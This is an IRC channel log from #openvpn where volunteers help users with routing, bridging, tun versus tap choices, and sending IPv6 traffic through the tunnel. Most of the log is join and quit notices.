05:03 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
05:05 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
05:09 -!- Marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:23 -!- zxd [~zxd@bzq-218-200-107.red.bezeqint.net] has quit [Ping timeout: 240 seconds]
05:36 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
05:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
05:40 -!- zxd [~zxd@109.65.162.225] has joined #openvpn
05:45 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Ping timeout: 266 seconds]
05:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:50 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Remote host closed the connection]
05:50 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
05:52 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
05:52 -!- zxd [~zxd@109.65.162.225] has quit [Ping timeout: 248 seconds]
05:53 -!- zxd [~zxd@109.65.162.225] has joined #openvpn
06:00 -!- wallbroken_u_z [~wallbroke@unaffiliated/wallbroken] has quit []
06:03 -!- dvl [~dan@64.147.113.42] has quit [Ping timeout: 240 seconds]
06:03 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
06:09 -!- wallbroken_u_z [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
06:11 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:11 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: No buffer space available]
06:12 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:13 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
06:26 -!- Devastator [~devas@177.18.199.113] has joined #openvpn
06:53 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
06:55 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
06:55 -!- dvl [~dan@64.147.113.42] has joined #openvpn
06:57 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:03 -!- dvl [~dan@64.147.113.42] has quit [Ping timeout: 240 seconds]
07:04 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Ping timeout: 246 seconds]
07:05 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
07:07 <@ecrist> good morning.  a late Merry Christmas to you folks.
07:07 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:08 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
07:12 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:14 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
07:19 -!- grep0r [grep0r@bitcoinshell.mooo.com] has joined #openvpn
07:38 -!- xrosnight [~quassel@113.83.113.250] has joined #openvpn
07:39 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
07:39 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
07:41 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:49 -!- xrosnight [~quassel@113.83.113.250] has quit [Read error: Connection reset by peer]
07:57 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
07:59 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
08:19 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Read error: Connection reset by peer]
08:19 -!- Cultist_ [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
08:20 -!- Cultist_ is now known as c
08:20 -!- c is now known as Cultist
08:24 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
08:24 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
08:30 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:32 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
08:35 -!- Devastator [~devas@177.18.199.113] has quit [Ping timeout: 272 seconds]
08:43 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
08:44 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
08:53 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
08:53 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
08:58 -!- luetm [~luetm@80-218-195-19.dclient.hispeed.ch] has joined #openvpn
08:59 < luetm> shouldn't a route 10.8.0.0 255.255.255.0 in the server config add a route, that's visible in route print?
09:01 <+Thermi> try ip r l t all
09:02 < luetm> (windows server here)
09:08 -!- xBytez [xBytez@unaffiliated/xbytez] has quit [Read error: Connection reset by peer]
09:10 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
09:10 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:11 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Read error: Connection reset by peer]
09:11 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:12 -!- xBytez [xBytez@libxbytez.so] has joined #openvpn
09:12 -!- xBytez [xBytez@libxbytez.so] has quit [Changing host]
09:12 -!- xBytez [xBytez@unaffiliated/xbytez] has joined #openvpn
09:14 < luetm> i'm sorry Thermi, were you talking to me? :)
09:17 <+Thermi> Yes, but the command was for Linux servers. Try looking in all routing tables, not just the default ones.
09:17 < luetm> it's also not routing, unless i add that route manually
09:17 < luetm> does it matter, where in the config file that statement is?
09:19 <+pekster> luetm: --route adds a route to the _local_ system. If you want your server to push it, read about --push
09:19 <+Thermi> No, it doesn't matter. I think OpenVPN will only add the route to the routint table, if there is actually a client connected.
09:19 <+pekster> No, --route adds the route when the instance starts
09:20 < luetm> oh i'm dumb. i just saw in the log that i forgot to add the gateway -_-
09:20 < luetm> sorry
09:22 < luetm> now it works :)
09:22 < luetm> thanks guys!
09:22 -!- luetm [~luetm@80-218-195-19.dclient.hispeed.ch] has quit []
09:27 < wallbroken_u_z> hi pekster, I tryed many times, sometimes work, sometimes not, but with --dev tap looks like always working, yesterday you suggested to me something about --iroute, can you explain what you was trying to say?
09:27 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
09:28 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:28 < wallbroken_u_z> If you don't remember the problem, I can explain.
09:33 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Read error: Connection reset by peer]
09:45 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
09:46 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:48 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
09:53 -!- zxd [~zxd@109.65.162.225] has quit [Ping timeout: 264 seconds]
10:05 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
10:08 -!- Marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
10:09 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Read error: Connection reset by peer]
10:10 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
10:16 -!- flohack [~kvirc@chello084115131198.3.graz.surfer.at] has joined #openvpn
10:17 < flohack> Any idea why openvpn always adds my tap interface to my br0 bridge? I'm user 'server' (as opposed to server-bridge) and don't have any 'up' script in use. Openvpn 2.2.1
10:17 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has joined #openvpn
10:19 -!- kasper93 [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 264 seconds]
10:19 < flohack> here's the config: http://pastebin.com/gBjpB0Ex
10:20 -!- kasper93__ [~kasper93@unaffiliated/kasper93] has joined #openvpn
10:22 -!- kasper93__ is now known as kasper93
10:22 -!- kasper93_ [~kasper93@unaffiliated/kasper93] has quit [Ping timeout: 252 seconds]
10:36 <+pekster> flohack: It's not openvpn doing it; all openvpn does is open the named tap device; it won't touch OS-level configuration like bridges
10:37 < flohack> pekster: hmm, strange, it even happens when running openvpn directly on the terminal
10:38 <+pekster> How are you starting it? `openvpn --config /path/to/that.conf` ?
10:44 < wallbroken_u_z> pekster, very strange the behaviour of tun in my case, it does work and not randomly
10:45 < wallbroken_u_z> very frustrating, because it's hard to understand why
10:47 < flohack> pekster: sudo /usr/sbin/openvpn --writepid /var/run/openvpn.server.pid --cd /etc/openvpn --config /etc/openvpn/server.conf --script-security 2
10:49 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
10:50 <+pekster> flohack: Yea, openvpn won't do anything beyond open 'tap0' in your case. Anything else is OS-centric
10:51 < flohack> pekster: :-) thanks, I'll hunt after debian networking scripts then ;-)
10:59 < flohack> pekster: oh yeah, found it. Debian seems to watch interface creation and adds interfaces to the bridge if they are listed as bridge_ports even if they don't exist when the bridge is brought up, nice!
11:00 <+pekster> interfaces(5) should be the frontend reference, with all the work probably offloaded to the hotplug scripts or the like
11:01 <+pekster> OpenVPN leaves OS-dependent setup up to you
11:06 < wallbroken_u_z> please could you post to me some documentation explaining this very strange behaviour of --dev tun? it's important to understand, openvpn howto doesn't explain to much about --dev tun
11:33 -!- flohack [~kvirc@chello084115131198.3.graz.surfer.at] has quit [Quit: KVIrc 4.1.3 Equilibrium http://www.kvirc.net/]
11:56 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Remote host closed the connection]
11:56 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Read error: Connection reset by peer]
12:07 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
12:08 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
12:21 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
12:23 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
12:31 < wallbroken_u_z> WARNING: 'ifconfig' is present in local config but missing in remote config, local='ifconfig 10.0.0.0 255.255.255.0'
12:31 < wallbroken_u_z> that's also false
12:31 < wallbroken_u_z> i use --server and it do uses ifconfig, so, client is wrong
12:49 -!- marlinc_ is now known as Marlinc
12:52 -!- Serano [~serano@rooty.be] has quit [Read error: Operation timed out]
12:52 -!- Serano [~serano@rooty.be] has joined #openvpn
12:53 -!- Aliekzhi [~Aliekzhi@250.133.116.78.rev.sfr.net] has joined #openvpn
12:54 < Aliekzhi> I don't get it : is server-bridge necessary when using already bridged interfaces ?
12:55 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
12:57 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
12:58 -!- dvl [~dan@64.147.113.42] has joined #openvpn
12:59 -!- Devastator [~devas@177.18.199.113] has joined #openvpn
13:05 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
13:05 -!- mode/#openvpn [+v s7r] by ChanServ
13:06 -!- dvl [~dan@64.147.113.42] has quit [Ping timeout: 240 seconds]
13:06 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
13:07 <+pekster> Aliekzhi: Generally yes, since you'll have set the addressing on the bridge already. The --server-bridge helper pushes the VPN server as the gateway to clients for the routes they get pushed, but doesn't set the server's address as part of openvpn init
13:07 <+pekster> Aliekzhi: See the manpage for the expansion of --server-bridge for details
13:10 < Aliekzhi> pekster, oh, so this option is another alternative than "push 'route-gateway x.x.x.x' ?
13:10 <+pekster> That's one of several things that helper directive does (have you consulted the manpage yet and seen the example?)
13:13 < Aliekzhi> pekster, yes i'm reading it
13:14 < Aliekzhi> pekster, the gateway to push would be the local adress of the VPN on the server + its netmask, right ?
13:15 < Aliekzhi> also, I see in the example a range from 4 to 254, would I really need that for only 1 client connecting ?
13:16 <+pekster> The example range is .128 - .254
13:16 <+pekster> And no, use whatever range you want
13:18 < Aliekzhi> pekster, for example, in the case of pushing gateway, the gateway would be the inet from inet of tap device (in a case of only 1 tap device) ?
13:18 < Aliekzhi> (sorry wrote 2 times inet)
13:19 < Aliekzhi> meant inet from tap device)
13:19 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
13:20 <+pekster> Generally yes, but it depends on what you want the gateway to be for any additional routes
13:20 <+pekster> Bridging is a bit complex becuase almost all of your decisions depend on how the rest of your infra on that network is set up; contrast this with routing, where the VPN server acts as a traditional IP router
13:21 <+pekster> In almost all cases bridging isn't the right solution (see: !tunortap for info) but there are some select use-cases
13:24 < Aliekzhi> pekster, well bridging is the only solution I found to have broadcast going from 2 computers through the vpn server, as it looks like bridging is similar to a switch
13:24 < Aliekzhi> sorry meant "beetweem" instead of "from"
13:28 < Aliekzhi> pekster, sorry my english is bad, do you mean there is like a "routing mode" in openvpn, or do you talk about setting up routes with "ip route add ..."
13:28 < Aliekzhi> ?
13:30 <+pekster> Aliekzhi: OpenVPN can work in a routed mode with "tun" or a bridged mode with "tap". If you do not need to send Ethernet frames, you should used 'tun' and route
13:30 <+pekster> tun is for IP traffic. tap is for Ethernet traffic
13:31 < Aliekzhi> pekster, well I need ethernet frames actually
13:35 <+pekster> Then you need tap, though I am curious what you need L2 for
13:37 < Aliekzhi> broken app (we had this discussion a few months ago but I also had other problems with my misconfigured kernel and misconfigured client, so it was hard to understand where was the problem coming from but now it seems ok)
13:37 < Aliekzhi> I made some tests with tun and tap and for some reasons it was working only with tap
13:37 <+pekster> Ah, fun. Well, not much you can do if something broken you can't fix requires it
13:38 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has quit [Ping timeout: 264 seconds]
13:38 < Aliekzhi> closed app, can't change anything
13:38 <+pekster> You can still route over tap, just make sure you're pushing the right gateway
13:38 <+pekster> Since tap exposes the network settings as L2, it's all on-link. In other words, you can use any IP on the bridged network as a gateway
13:39 < Aliekzhi> pekster, in that specific case, gateway is the tap inet + broadcast right ?
13:39 < Aliekzhi> (for example)
13:41 <+pekster> A gateway is an IP of your next-hop gateway
13:41 <+pekster> There's no "broadcast" invovled here at all
13:41 <+pekster> It's just an IP
13:41 <+pekster> (works the same way a gateway setting does on any network interface)
13:43 < Aliekzhi> sorry I meant inet + netmask
13:43 < Aliekzhi> I always write the word broadcast instead of netmask sorry, as english isn't my native language
13:44 <+pekster> There is no netmask either
13:44 <+pekster> A gateway is _just_ an IP
13:47 -!- kirin` [telex@gateway/shell/anapnea.net/x-wdmfxvmknflhvyun] has quit [Ping timeout: 272 seconds]
13:48 -!- kirin` [telex@gateway/shell/anapnea.net/x-jlksqsmrgtabofwd] has joined #openvpn
13:50 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has joined #openvpn
14:00 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 248 seconds]
14:06 -!- altermann [~chatzilla@174.1.121.97] has joined #openvpn
14:10 < altermann> hi there
14:10 < altermann> i'm trying to setup a net-to-net openvpn tunnel between 2 linux servers which are also my gateways
14:10 < altermann> my setup is as follows: server: subnet is: 192.168.1.0/255.255.255.0: openvpn subnet: 192.168.0.2/255.255.255.248: client subnet: 10.1.1.0/255.255.255.128, clinet opvenvpn subnet: 10.2.2.0/255.255.255.248
14:11 < altermann> i'm getting an error that the subnet is already in use by another open vpn server on both machines
14:11 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has joined #openvpn
14:14 -!- novaflash_away [~novaflash@its.novaflash.nl] has joined #openvpn
14:14 -!- novaflash_away is now known as novaflash
14:16 < altermann> i guess this is the wrong channel to ask
14:19 -!- novaflash [~novaflash@its.novaflash.nl] has quit [Changing host]
14:19 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
14:20 -!- mode/#openvpn [+o novaflash] by ChanServ
14:26 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has joined #openvpn
14:26 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
14:26 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has joined #openvpn
14:27 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has joined #openvpn
14:28 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 264 seconds]
14:29 <+pekster> altermann: No conflict in that list, although using such a common subnet on the server side as 192.168.1/24 is usually a bad idea (if you're exposing it to clients at least)
14:30 < altermann> i'm only doing net-to-net between 2 offices
14:30 < altermann> no road warriors
14:30 < altermann> i have control over both networks
14:31 <+pekster> Perhaps clarify your error with some relevant !logs ?
14:31 < altermann> indeed
14:31 < altermann> i was able to rectify the error
14:31 < altermann> now i'm stuck at the next step
14:31 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
14:31 < altermann> this distro only creates a .conf file and a psk cert
14:32 < altermann> which i'm supposed to d/l and upload on the client side, i don't know if i should do the same from client to server thou
14:33 < altermann> i'm gonna try until i get it right :)
14:33 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
14:35 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:37 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
14:42 < altermann> they don't have very specific instructions on how to do the whole thing honestly
14:45 -!- jefferai_gone [~quassel@corkblock.jefferai.org] has quit [Ping timeout: 245 seconds]
14:48 -!- jefferai [~quassel@kde/mitchell] has joined #openvpn
14:48 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has joined #openvpn
14:51 < altermann> i think i got it
14:51 < altermann> most of the work is done on the server side
14:52 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:54 < altermann> then a zip package is uploaded onto the client machine via the web interface.
15:07 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has joined #openvpn
15:08 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has quit [Client Quit]
15:08 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has joined #openvpn
15:10 -!- digilink [~digilink@2001:470:e457:20da:20c:29ff:fea1:939a] has quit [Changing host]
15:10 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
15:16 < ro9u3or> hello all, can anyone help me with bridging a connection to a vpn
15:19 < altermann> join the club
15:19 < altermann> :)
15:22 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
15:23 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
15:23 < ro9u3or> lol
15:24 < altermann> i'm using a net-to-net config using ipfire
15:28 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
15:31 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
15:32 <+MacGyver> I'm wondering... Currently I only use my VPN on IPv4-only networks, and I tunnel using the redirect-gateway def1 bypass-dhcp directive to ensure all traffic goes through the VPN.
15:32 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
15:32 <+MacGyver> I want to know what I need to achieve the same on a dual-stack network.
15:33 <+MacGyver> Do I still need to connect the v4 VPN, do I only need to add v6 inside this tunnel, do I need to run a 4in4 and a 6in6 tunnel side-by-side...?
15:35 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
15:36 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
15:36 -!- Marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 252 seconds]
15:42 <+pekster> MacGyver: See !ipv6 for wiki info on IPv6 setups
15:42 <+pekster> You can do dual-stack transport inside an IPv4 tunnel transport if that was your question
15:42 <+MacGyver> !ipv6
15:42 <@vpnHelper> "ipv6" is (#1) The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6 or (#2) The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ
15:43 <+MacGyver> I'll read those, then get back to you if they don't answer my question.
15:43 <+MacGyver> Ah, turns out I've already read those.
15:44 <+MacGyver> My question is basically that the network I will be on (30C3, hence the wish for VPN) will be providing native v4 and v6. I want to make *sure* that the VPN is used for v6 traffic.
15:44 <+MacGyver> I'm now leaning towards disabling the native v6 on the connected interface and doing dual-stack inside the v4-tunnel.
15:45 <+MacGyver> (Well, I obviously want to make sure that the VPN is used for áll traffic, but I think this works in my current setup for v4 so the question is specific to v6.)
15:46 <+MacGyver> I think, based on what I've read, that that is currently the safest option, because I can't find anything similar to gateway def1 for v6.
15:47 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:49 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has quit [Ping timeout: 260 seconds]
15:50 <+MacGyver> I'll be back in a few minutes, doing a kernel upgrade on this machine.
15:50 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
15:51 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has joined #openvpn
15:51 -!- jacob11 [uid22180@gateway/web/irccloud.com/x-daqsygkjvnkmltjl] has quit [Quit: Connection closed for inactivity]
15:53 -!- mode/#openvpn [-v sauce] by ChanServ
15:54 -!- sauce is now known as sauce2
15:54 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Quit: leaving]
15:54 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
15:57 -!- zxd [~zxd@bzq-79-182-8-38.red.bezeqint.net] has joined #openvpn
15:57 -!- marlinc_ is now known as marlinc
15:59 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
16:01 -!- sauce2 is now known as sauce
16:01 -!- zxd [~zxd@bzq-79-182-8-38.red.bezeqint.net] has quit [Ping timeout: 246 seconds]
16:05 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Remote host closed the connection]
16:08 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
16:09 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
16:14 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
16:14 -!- able [~able@gateway/tor-sasl/able] has quit [Client Quit]
16:17 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has joined #openvpn
16:17 -!- MacGyver [~MacGyver@sog.polvanaubel.com] has quit [Changing host]
16:17 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
16:17 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has quit [Ping timeout: 245 seconds]
16:17 < MacGyver> Right, back.
16:18 < MacGyver> So, any thoughts on the "most secure" option for ensuring all IPv6 traffic is tunneled through OpenVPN? Disabling native v6 is a bit dirty I guess, but it's probably also the most secure option.
16:34 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has joined #openvpn
16:34 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has joined #openvpn
16:40 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
16:56 -!- ro9u3or [~ro9u3or@c-50-161-134-121.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer]
17:20 -!- able [~able@gateway/tor-sasl/able] has quit [Quit: able]
17:21 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
17:39 -!- rob0_ is now known as rob0
17:53 -!- altermann_ [~chatzilla@174.1.121.97] has joined #openvpn
17:55 -!- altermann_ [~chatzilla@174.1.121.97] has quit [Client Quit]
17:56 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:56 -!- altermann [~chatzilla@174.1.121.97] has quit [Ping timeout: 252 seconds]
18:01 <+Thermi> MacGyver: push route ::1/1
18:01 <+Thermi> or however you do that in OpenVPN syntax
18:02 -!- Cpt-Oblivious [~chatzilla@31-151-87-204.dynamic.upc.nl] has quit [Ping timeout: 246 seconds]
18:08 <+pekster> It's more complex than that depending on how your client is configured. Consider DHCPv6 and v6DNS options and name-based-hijacking by advertising a known local (compromised) DHCP server on the LL addressing
18:09 <+pekster> ::1/1 is bogus too; use either ::/0 or (probably more useful) 2000::/3 (the latter is probably nicer as it overrides any RA-provided router's ::/0 route)
18:19 -!- Devastator [~devas@177.18.199.113] has quit [Ping timeout: 246 seconds]
18:21 < MacGyver> Hmm, right.
18:21 < MacGyver> Still, no real need to get functioning native v6 on the interface if I want everything to run over the VPN anyway...
18:29 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 245 seconds]
18:41 -!- Aliekzhi [~Aliekzhi@250.133.116.78.rev.sfr.net] has quit [Remote host closed the connection]
18:53 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
19:00 -!- master_o1_master [~master_of@p4FF24EA8.dip0.t-ipconnect.de] has joined #openvpn
19:03 -!- Devastator [~devas@177.18.199.113] has joined #openvpn
19:04 -!- master_of_master [~master_of@p4FF24E76.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
19:05 -!- Devastator [~devas@177.18.199.113] has quit [Changing host]
19:05 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:15 -!- SlutaTramsa_ is now known as SlutaTramsa
19:15 -!- SlutaTramsa [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has quit [Changing host]
19:15 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
19:20 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
19:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 252 seconds]
19:47 < wallbroken_u_z> it should be good to get an answer
20:06 -!- Eagleman7 is now known as Eagleman
20:37 -!- able [~able@gateway/tor-sasl/able] has quit [Ping timeout: 240 seconds]
20:46 -!- brian__ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has quit [Ping timeout: 272 seconds]
20:59 -!- brian__ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has joined #openvpn
21:21 -!- brian__ [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has left #openvpn ["Leaving"]
21:24 -!- Carbon_Monoxide [~cmonxide@14.0.143.23] has joined #openvpn
21:25 -!- Carbon_Monoxide [~cmonxide@14.0.143.23] has left #openvpn []
21:30 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 272 seconds]
21:42 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
21:59 -!- zxd [~zxd@bzq-79-182-8-38.red.bezeqint.net] has joined #openvpn
22:04 -!- zxd [~zxd@bzq-79-182-8-38.red.bezeqint.net] has quit [Ping timeout: 245 seconds]
22:10 -!- mode/#openvpn [-v mapps] by ChanServ
22:15 -!- ziddey [~ziddey@ool-45701202.dyn.optonline.net] has left #openvpn ["Leaving"]
22:25 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-xfoergqdoqcmzpzg] has joined #openvpn
22:25 -!- XJR-9_ [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
22:25 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has quit [Killed (adams.freenode.net (Nickname regained by services))]
22:25 -!- XJR-9_ is now known as XJR-9
22:26 -!- master_of_master [~master_of@p4FF24EA8.dip0.t-ipconnect.de] has joined #openvpn
22:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:28 -!- crus` [~crusader@2001:44b8:319e:2900:20fe:8018:63ba:9b66] has joined #openvpn
22:29 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-ttejcvuymoqgkkhr] has joined #openvpn
22:29 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
22:29 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-gksougzgamzfbamw] has quit [Ping timeout: 240 seconds]
22:29 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
22:29 -!- master_o1_master [~master_of@p4FF24EA8.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
22:29 -!- crus [~crusader@2001:44b8:319e:2900:20fe:8018:63ba:9b66] has quit [Remote host closed the connection]
22:29 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
22:29 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-bscxymppxaltfxks] has quit [Ping timeout: 240 seconds]
22:29 -!- NChief2 [~nchief@ircimg.net] has quit [Ping timeout: 240 seconds]
